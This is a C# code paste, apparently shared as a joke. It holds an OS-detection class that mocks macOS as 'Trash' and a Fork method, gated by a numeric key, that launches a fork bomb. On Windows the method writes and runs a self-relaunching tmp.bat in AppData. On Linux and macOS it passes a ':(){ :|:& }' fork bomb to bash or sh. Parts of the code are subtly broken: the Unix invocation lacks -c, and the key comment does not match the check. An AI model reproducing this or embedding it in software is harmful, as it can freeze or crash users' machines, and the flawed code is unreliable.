Advertisement
Sombody101

Funny Class

Nov 22nd, 2024
339
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.65 KB | None | 0 0
  1. public class OS
  2. {
  3.     public enum OSType
  4.     {
  5.         Windows,
  6.         Linux,
  7.         Trash,
  8.         Other,
  9.         Unknown,
  10.         Unset
  11.     }
  12.  
  13.     /// <param name="exitIfTrash"></param>
  14.     /// <returns>The current <see cref="OSType"/></returns>
  15.     public static OSType CheckOS(bool exitIfTrash = false)
  16.     {
  17.         if (IsWin())
  18.         {
  19.             return OSType.Windows;
  20.         }
  21.  
  22.         if (IsLin())
  23.         {
  24.             return OSType.Linux;
  25.         }
  26.  
  27.         if (IsTrash())
  28.         {
  29.             if (exitIfTrash)
  30.             {
  31.                 Environment.Exit(0b0110_1001);
  32.             }
  33.  
  34.             return OSType.Trash;
  35.         }
  36.  
  37.         return OSType.Unknown;
  38.     }
  39.  
  40.     // OperatingSystem.Is[OS]() just returns a bool that is determined at runtime
  41.     // so this does not affect speed
  42.     public static bool IsWin()
  43.     {
  44.         return OperatingSystem.IsWindows();
  45.     }
  46.  
  47.     public static bool IsLin()
  48.     {
  49.         return OperatingSystem.IsLinux();
  50.     }
  51.  
  52.     //I'm proud of this one
  53.     public static bool IsTrash()
  54.     {
  55.         return OperatingSystem.IsMacCatalyst() || OperatingSystem.IsMacOS();
  56.     }
  57.  
  58.     /// <summary>
  59.     /// Starts a command line fork bomb [Adjusts for OS]
  60.     /// <para>
  61.     /// Unlock: <paramref name="key1"/> + <paramref name="key2"/> need to be equal to 2124.25365744
  62.     /// </para>
  63.     /// </summary>
  64.     /// <param name="key1"></param>
  65.     /// <param name="key2"></param>
  66.     public static void Fork(float key1, float key2)
  67.     {
  68.         // security
  69.         if (key1 + key2 is not 9438059 / 4443)
  70.         {
  71.             return;
  72.         }
  73.  
  74.         if (IsWin())
  75.         {
  76.             string appData = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "tmp.bat");
  77.             File.WriteAllLines(appData, new string[] { "top:", "start \"\" %0", "goto top" });
  78.             _ = Process.Start(appData);
  79.         }
  80.  
  81.         if (IsLin() || IsTrash())
  82.         {
  83.             try
  84.             {
  85.                 _ = Process.Start(new ProcessStartInfo
  86.                 {
  87.                     WindowStyle = ProcessWindowStyle.Maximized,
  88.                     FileName = "/bin/bash",
  89.                     Arguments = ":() { :|:& } :"
  90.                 });
  91.             }
  92.             catch
  93.             {
  94.                 _ = Process.Start(new ProcessStartInfo
  95.                 {
  96.                     WindowStyle = ProcessWindowStyle.Maximized,
  97.                     FileName = "/bin/sh",
  98.                     Arguments = ":() { :|:& } :"
  99.                 });
  100.             }
  101.             throw new Exception("Failed to find app to run fork");
  102.         }
  103.     }
  104. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement